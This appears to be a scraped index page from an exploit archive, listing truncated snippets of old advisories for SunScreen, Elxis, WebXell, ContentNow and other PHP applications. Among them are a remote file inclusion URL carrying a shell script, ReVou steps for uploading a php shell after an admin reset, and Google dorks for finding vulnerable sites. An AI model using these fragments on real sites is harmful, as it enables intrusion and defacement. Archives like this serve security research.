Sun Microsystems SunScreen Firewall - Privilege Escalation

Sun Microsystems SunScreen Firewall - Privilege Escalation / Sun Microsystems SunScreen Firewall Root Exploit discovered & exploited by Kingcope January 2011 The SunScreen Firewall can be administrated remotely via a java protocol service which is running on port 3858 on a SunOS machine. This Jav...

aidSQL: A Tool to Find Vulnerable Spots in Web Sites !

aidSQL is a PHP application provided for detecting security holes in your websites. It is a modular application, meaning that you can develop your very own plugins for SQL injection detection & exploitation. Sample usage of aidsql: ./aidSQL --url=www.sample123.com We find it similar to nikto,...

Elxis CMS 2009.2 - Remote File Inclusion

\ \ \ / / / \ / / / |// / / // // / / / // // / installation folder.'; include$mosConfigabsolutepath.'/includes/systemplates/router.php'; exit; requireonce$mosConfigabsolutepath.'/includes/Core/loader.php'; file : index2.php http://site.com/elxis-cms/index2.php?mosConfigabsolutepath=shell script...

YACK CMS 10.5.27 Remote File Inclusion Vulnerability

==================================================== YACK CMS 10.5.27 Remote File Inclusion Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' /' / /' 0 0 /, // ,/ / 1 1 // /' / // /' / /' 0 0 / / / ...

SAGU-PRO v1.0 Multiple Remote File Include Vulnerability

Exploit for php platform in category web applications ======================================================== SAGU-PRO v1.0 Multiple Remote File Include Vulnerability ======================================================== \|/// \ - - // @ @...

DaFun Spirit 2.2.5 Multiple Remote File Include Vulnerability

Exploit for php platform in category web applications ============================================================= DaFun Spirit 2.2.5 Multiple Remote File Include Vulnerability ============================================================= \|/// \ - - // @ @...

DaFun Spirit 2.2.5 - Multiple Remote File Inclusions

DaFun Spirit 2.2.5 - Multiple Remote File Inclusions \|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- DaFun Spirit 2.2.5 Multiple Remote File Include Vulnerability Script: http://code.google.com/p/dafunspirit/downloads/list Author: mat Mail:...

Safari Archive Metadata Command Execution

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3...

Zeroboard 4.1 pl7 Code Execution

/ poc by kyoungchip,jang email : [email protected] the bug - http://www.xpressengine.com/15955761 Application - Zeroboard 4.1 pl7 Reference: - http://www.nzeo.com - Zeroboard pregreplace vulnerability Remote nobody exploit by n0gada Target - My test server $ ./zbexpl...

Shop Script Pro 2.12 - SQL Injection

!/usr/bin/perl =about VENDOR Shop Script Pro 2.12 maybe other versions vulnerable too http://www.shop-script.com/ AUTHOR discovered & written by Ams ax330d doggy gmail dot com http://www.0x416d73.name/ VULN. DESCRIPTION Look in index.php at line 101. Variable $currentcurrency is set from...

[SECURITY] Fedora 10 Update: pdfjam-1.21-1.fc10

PDFjam is a small collection of shell scripts which provide a simple interface to some of the functionality of the excellent pdfpages package by Andreas Matthias for pdfLaTeX. At present the utilities available are: pdfnup, which allows PDF files to be "n-upped" in roughly the way that psnup does...

ReVou Twitter Clone - Admin Password Change

=== NOTES === . Reset pwd, login as ADMIN, use this path to upload your php-shell-script: http://site.tld/revou/adminlogin/index.php?id=dbimport . your file is here: http://site.tld/revou/dbbackup/shell.php === GGL-DORKS === "Joined ReVou" "Tell the world what you're doing at this moment!" "days...

FreeBSD Ports: f2c

The remote host is missing an update to the system as announced in the referenced advisory. VID 43cb40b3-c8c2-11da-a672-000e0c2e438a OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...

contentnow-uploadxss.txt

=============================================================== ContentNow CMS Upload/XSS Multiple Remote Vulnerabilities =============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...

webxell-upload.txt

=========================================================================== WebXell Editor uploadpictures.php Arbitrary File Upload Vulnerability =========================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...

WebXell Editor 0.1.3 Arbitrary File Upload Vulnerability

Exploit for unknown platform in category web applications ======================================================== WebXell Editor 0.1.3 Arbitrary File Upload Vulnerability ======================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O...

WebXell Editor 0.1.3 - Arbitrary File Upload

WebXell Editor 0.1.3 - Arbitrary File Upload =========================================================================== WebXell Editor uploadpictures.php Arbitrary File Upload Vulnerability ===========================================================================...

WebXell Editor 0.1.3 - Arbitrary File Upload

=========================================================================== WebXell Editor uploadpictures.php Arbitrary File Upload Vulnerability =========================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...

ContentNow 1.4.1 (Upload/XSS) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ============================================================= ContentNow 1.4.1 Upload/XSS Multiple Remote Vulnerabilities ============================================================= ,--^----------,--------,-----,-------^--, | |||||||||...

ContentNow 1.4.1 - Arbitrary File Upload Cross-Site Scripting

ContentNow 1.4.1 - Arbitrary File Upload Cross-Site Scripting =============================================================== ContentNow CMS Upload/XSS Multiple Remote Vulnerabilities =============================================================== ,--^----------,--------,-----,-------^--, |...